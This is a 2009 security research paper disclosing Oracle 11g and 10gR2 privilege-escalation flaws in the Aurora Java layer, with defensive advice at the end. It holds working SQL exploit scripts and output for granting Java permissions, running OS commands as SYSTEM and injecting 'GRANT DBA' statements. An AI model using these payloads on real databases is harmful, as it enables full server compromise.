Hacking Aurora in Oracle 11g

David Litchfield [davidl@ngssoftware.com]

14th October 2009

An NGSSoftware Insight Security Research (NISR) Publication

Introduction

This paper discusses how a low privileged user (i.e. those with only the CREATE SESSION system privilege) can entirely compromise an Oracle database server by exploiting weaknesses in the architecture surrounding Aurora, Oracle's Java implementation, built directly into the database. Many of these attacks can also be leveraged by an attacker via a web based SQL injection attack to gain full control of the database server. Defences will also be discussed. The attacks described in this paper affect fully patched versions of Oracle 11g; one also works on 10g Release 2.

A Hack To Grant Arbitrary Java Permissions

Java permissions define who can take what action for example to access a file, run a command or open a socket. In Oracle, these permissions are stored in the JAVA$POLICY$ table. There is also a view for this table, DBA_JAVA_POLICY. In order to do anything "sensitive" when it comes to Java, a user or role must have the relevant permission and, by default, PUBLIC can't do a lot. However, the Oracle RDBMS has a flaw that can allow an attacker the ability to grant themselves arbitrary Java permissions and the problem stems from a PL/SQL package called DBMS_JVM_EXP_PERMS. This package is used for importing and exporting Java permissions between different Oracle database servers. This is to help with deploying Java applications and upgrades. The package is executable by PUBLIC and is owned by SYS and uses definer rights. The package contains a procedure called IMPORT_JVM_PERMS which takes as an argument a Java policy. An attacker can create their own policy and supply it to this function. As the procedure executes with SYS privileges, being a definer rights package, the Java policy is added to the JAVA$POLICY$ table. This enables an attacker to grant themselves arbitrary Java permissions. The script below demonstrates this. First we log in as SYS and show that user GREMLIN has no permissions listed in DBA_JAVA_POLICY. Next we login as GREMLIN, select from SESSION_PRIVS, and then run the exploit. We grant EXECUTE on <<ALL FILES>>. Next we log back in as SYS and select from DBA_JAVA_POLICY again to show the permission has been added.

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE USER GREMLIN IDENTIFIED BY GREMLIN;

User created.

SQL> GRANT CREATE SESSION TO GREMLIN;

Grant succeeded.

SQL> SELECT TYPE_NAME, NAME, ACTION FROM DBA_JAVA_POLICY WHERE GRANTEE =
'GREMLIN';

no rows selected

SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT
'GRANT','GREMLIN','SYS','java.io.FilePermission','<<ALL
FILES>>','execute','ENABLED' FROM DUAL;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

PL/SQL procedure successfully completed.

SQL> CONNECT / AS SYSDBA
Connected.
SQL> COL TYPE_NAME FOR A30;
SQL> COL NAME FOR A30;
SQL> COL ACTION FOR A10;
SQL> SELECT TYPE_NAME, NAME, ACTION FROM DBA_JAVA_POLICY WHERE GRANTEE =
'GREMLIN';

TYPE_NAME                      NAME                           ACTION
------------------------------ ------------------------------ ----------
java.io.FilePermission         <<ALL FILES>>                  execute

SQL>
```

Now that user GREMLIN has the execute Java permission on all files they can run arbitrary operating system commands. Or can they?

Running Operating System Commands
If GREMLIN had the CREATE PROCEDURE system privilege they could just create a java class and PL/SQL wrapper to execute OS commands but, they don't have this privilege. In order to execute OS commands, then, GREMLIN needs to find an extant Java class that does this. They also need the EXECUTE object privilege on the class and a means of executing the class. The DBMS_JAVA_TEST.FUNCALL function can be used to do this provided the class method is static and takes only one argument, a string array. After an exhaustive search by the author such a class and method matching the criteria was found, namely, the "*oracle/aurora/util/Wrapper*" class and its main() method. The script below demonstrates the GREMLIN user executing an arbitrary OS command (after of course they've granted themselves the execute Java permission via DBMS_JVM_EXP_PERMS). First we check that the file called OUT.LST does not exist using the SQL*Plus host command, then we execute the class and method via DBMS_JAVA.RUNJAVA to execute the Windows command shell, CMD.EXE, and perform a directory listing, redirecting the output to OUT.LST. Once done we then confirm that OUT.LST now exists. [N.B. This was done locally – i.e. the client and server are on the same machine - and if you're doing this remotely the HOST command obviously won't show you the OUT.LST file… However, this attack can still be performed remotely.]

```
SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> HOST DIR C:\OUT.LST
 Volume in drive C has no label.
 Volume Serial Number is C2EB-1832

 Directory of C:\

File Not Found

SQL> SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c dir>c:\\OUT.LST') FROM DUAL;


DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE
/CDIR
---------------------------------------------------------------------------


SQL> HOST DIR C:\OUT.LST
 Volume in drive C has no label.
 Volume Serial Number is C2EB-1832

 Directory of C:\

14/10/2009  21:18               700 OUT.LST
               1 File(s)            700 bytes
               0 Dir(s)  87,977,893,888 bytes free

SQL>
```

As can be seen, a user with only CREATE SESSION privileges has been able to execute arbitrary OS commands. These commands execute as SYSTEM on Windows machines and the “oracle” user on nix based systems. Note that the DBMS_JAVA_TEST.FUNCALL can also be used instead of DBMS_JAVA.RUNJAVA:

```
SQL> HOST DIR C:\OUT2.LST
 Volume in drive C has no label.
 Volume Serial Number is C2EB-1832

 Directory of C:\

File Not Found

SQL> SELECT
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\sy
stem32\\cmd.exe','/c','dir>c:\\OUT2.LST')
FROM DUAL;

DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','C:\\WINDOWS\\SY
STEM3
--------------------------------------------------------------------------


SQL> HOST DIR C:\OUT2.LST
 Volume in drive C has no label.
 Volume Serial Number is C2EB-1832

 Directory of C:\

14/10/2009  21:29               700 OUT2.LST
               1 File(s)            700 bytes
               0 Dir(s)  87,977,955,328 bytes free
```

```
SQL>
```

10g Release 2 is also has the DBMS_JVM_EXP_PERMS and is vulnerable in the same way. However, if an attacker wishes to execute arbitrary commands they must also grant themselves the readFileDescriptor and writeFileDescriptor runtime permissions. In addition there is no RUNJAVA function in DBMS_JAVA so the attacker must use the DBMS_JAVA_TEST.FUNCALL function.

```
SQL> -- Script for 10g Release 2
SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

PL/SQL procedure successfully completed.

SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT
'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',
NULL,'ENABLED' FROM DUAL;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

PL/SQL procedure successfully completed.

SQL> DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT
'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',
NULL,'ENABLED' FROM DUAL;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

PL/SQL procedure successfully completed.

SQL> SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main',
'c:\\windows\\system32\\cmd.exe', '/c', 'dir>c:\\10gOUT.LST') FROM DUAL;

DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','C:\\WINDOWS\\SY
STEM3
---------------------------------------------------------------------------
-----
```

```
SQL>
```

A Hack To Gain DBA Privileges

Two of the functions in the DBMS_JAVA package take as some of their parameters SQL statements. These functions are SET_OUTPUT_TO_JAVA and SET_OUTPUT_TO_SQL. The former can be abused by an attacker in a lateral SQL injection attack [1]. Here is the function's prototype:

```
FUNCTION SET_OUTPUT_TO_JAVA RETURNS VARCHAR2
 Argument Name                  Type                    In/Out Default?
 ------------------------------ ----------------------- ------ --------
 ID                             VARCHAR2                IN
 CLASS_NAME                     VARCHAR2                IN
 CLASS_SCHEMA                   VARCHAR2                IN
 METHOD                         VARCHAR2                IN
 BINDINGS                       VARCHAR2                IN
 NO_NEWLINE_METHOD              VARCHAR2                IN     DEFAULT
 NO_NEWLINE_BINDINGS            VARCHAR2                IN     DEFAULT
 NEWLINE_ONLY_METHOD            VARCHAR2                IN     DEFAULT
 NEWLINE_ONLY_BINDINGS          VARCHAR2                IN     DEFAULT
 MAXIMUM_LINE_SEGMENT_LENGTH    NUMBER                  IN     DEFAULT
 ALLOW_REPLACE                  NUMBER                  IN     DEFAULT
 FROM_STDOUT                    NUMBER                  IN     DEFAULT
 FROM_STDERR                    NUMBER                  IN     DEFAULT
 INCLUDE_NEWLINES               NUMBER                  IN     DEFAULT
 EAGER                          NUMBER                  IN     DEFAULT
 INITIALIZATION_STATEMENT       VARCHAR2                IN     DEFAULT
 FINALIZATION_STATEMENT         VARCHAR2                IN     DEFAULT
```

Notice the last two parameters: INITIALIZATION_STATEMENT and FINALIZATION_STATEMENT. This function allows a user to redirect Java output written to System.out and System.err to another, new Java virtual session. The SQL passed in via the last two parameters are executed in this new session. If an attacker can get a SYS owned package that uses Java and it writes to System.out or System.err then this new session will be "owned" by SYS. As such, the SQL will execute with SYS privileges. In the script below, the attacker sets up the exploit then executes the DBMS_CDC_ISUBSCRIBE package. This is a publicly executable, SYS owned definer rights package which essentially wraps around a Java application. By passing an invalid subscription name to the INT_PURGE_WINDOW procedure on this package the attacker forces an error which is written to System.err. When this occurs the SQL provided in the previous request is executed. It is done so in the new SYS owned session and executes therefore with SYS privileges and GREMLIN is granted DBA privileges.

```
SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SELECT * FROM SESSION_ROLES;

no rows selected
```

```
SQL> SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO
GREMLIN''; END;', 'BEGIN NULL; END;') FROM DUAL;

DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRI
TEOUT
--------------------------------------------------------------------------

SQL> EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',
SYSDATE());
BEGIN DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',
SYSDATE()); END;

*
ERROR at line 1:
ORA-29548: Java system class reported: While executing the output_to_java
specification named ID, the following error occurred
ORA-29516: Aurora assertion failure: Assertion failure at joevm.c:3338
Method not found
ORA-06512: at "SYS.DBMS_CDC_ISUBSCRIBE", line 59
ORA-06512: at line 1


SQL> SET ROLE DBA;

Role set.

SQL>
```

Recall from the start of this section that there are two functions that take SQL statements. The other, SET_OUTPUT_TO_SQL, does not execute in a new session so any SQL executes in the current user's session with their privileges. It can however be used as an auxiliary inject function.

Using DBMS_JAVA for Auxiliary Inject Functions

Auxiliary inject functions are functions that are used by an attacker to leverage further access in a SQL injection attack. In Oracle this is particularly useful as batching of SQL statements is not possible. See [2] and [3]. Due to security enhancements in Oracle 11g it is no longer possible to use DBMS_SQL.EXECUTE as an auxiliary inject function so a replacement is needed. For this section assume there is a SYS owned, definer rights, publicly executable procedure called VULNPROC which is vulnerable to SQL injection. Using the DBMS_JAVA.SET_OUTPUT_TO_SQL function as an inject function it is possible to execute arbitrary SQL. In the script below user GREMLIN injects this function into the vulnerable SYS owned procedure. This primes the exploit. It is triggered by now causing Java to write output. In this case, this is achieved by executing the main() method of the "*oracle/aurora/util/Test*" class using DBMS_JAVA.RUNJAVA.

```
SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> set serveroutput on
SQL> SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
```

```
CREATE SESSION

SQL> SELECT * FROM SESSION_ROLES;

no rows selected

SQL> EXEC SYS.VULNPROC('FOO''||DBMS_JAVA.SET_OUTPUT_TO_SQL(''ID'',''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
PUBLIC''''; DBMS_OUTPUT.PUT_LINE(:1); END;'',''TEXT'')||''BAR');

PL/SQL procedure successfully completed.

SQL> SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Test') FROM DUAL;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/TEST')
-----------------------------------------------------------------------
6
SQL> SET ROLE DBA;

Role set.

SQL>
```

In this example two calls are made. In a web based SQL injection scenario where a session may be torn down between requests two calls is one too many. It is, however, possible to combine the attack in just one call:

```
SQL> CONNECT GREMLIN/GREMLIN
Connected.
SQL> SET SERVEROUTPUT ON
SQL> SELECT * FROM SESSION_PRIVS;

PRIVILEGE
----------------------------------------
CREATE SESSION

SQL> SELECT * FROM SESSION_ROLES;

no rows selected

SQL> EXEC SYS.VULNPROC('FOO''||DBMS_JAVA.RUNJAVA(''oracle/aurora/util/Test
''||DBMS_JAVA.SET_OUTPUT_TO_SQL(''ID'',''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
PUBLIC''''; DBMS_OUTPUT.PUT_LINE(:1); END;'',''TEXT''))||''BAR');
6
6
6
6

PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;

Role set.

SQL>
```

Here we can see that the “set up” SQL is execute first and passed as an argument to the triggering SQL – i.e. the call to DBMS_JAVA.RUNJAVA. For those wondering the Java class is only relevant insofar as it is executable by PUBLIC and spits out output.

Preventing attacks

Some Oracle servers may not require Java at all and it can be removed entirely from the system. This can be achieved by executing the “rmjvm.sql” script found in the %ORACLE_HOME%\javavm\install directory. This should only be done after careful consideration however.

For those systems that require Java it is recommend that PUBLIC execute permissions be revoked on the DBMS_JAVA, the DBMS_JAVA_TEST and DBMS_JVM_EXP_PERMS packages. For those users that, as a strict business requirement, need access to these packages, assign them to a role and grant execute to this role.

In their raw form, these attacks may cause errors to be written to trace files where evidence of attacks can be gleaned. For example one such trace file contains the following

```
Dump of memory from 0x0FB9B167 to 0x0FB9B2A7
FB9B160          0FB9B0B0 0FB9B0B0 00010001     [............]
FB9B170 616A4C28 6C2F6176 2F676E61 69727453  [(Ljava/lang/Stri]
FB9B180 293B676E 726F0056 656C6361 7275612F  [ng;)V.oracle/aur]
FB9B190 2F61726F 6D626472 62442F73 614A736D  [ora/rdbms/DbmsJa]
FB9B1A0 53006176 77005359 65746972 7074754F  [va.SYS.writeOutp]
FB9B1B0 6F547475 656C6946 43454400 4552414C  [utToFile.DECLARE]
FB9B1C0 41525020 20414D47 4F545541 4F4D4F4E  [ PRAGMA AUTONOMO]
FB9B1D0 545F5355 534E4152 49544341 203B4E4F  [US_TRANSACTION; ]
FB9B1E0 49474542 5845204E 54554345 4D492045  [BEGIN EXECUTE IM]
FB9B1F0 4944454D 20455441 41524727 4420544E  [MEDIATE 'GRANT D]
FB9B200 54204142 5247204F 494C4D45 203B274E  [BA TO GREMLIN'; ]
FB9B210 3B444E45 47454200 4E204E49 3B4C4C55  [END;.BEGIN NULL;]
FB9B220 444E4520 0000003B 00000000 1000005D  [ END;.......]...]
FB9B230 0FB9B04C 0596D480 0FB9B294 00001024  [L...........$...]
```

References

[1] http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf
[2] http://www.databasesecurity.com/dbsec/cursor-injection.pdf
[3] http://www.databasesecurity.com/oracle/plsql-injection-create-session.pdf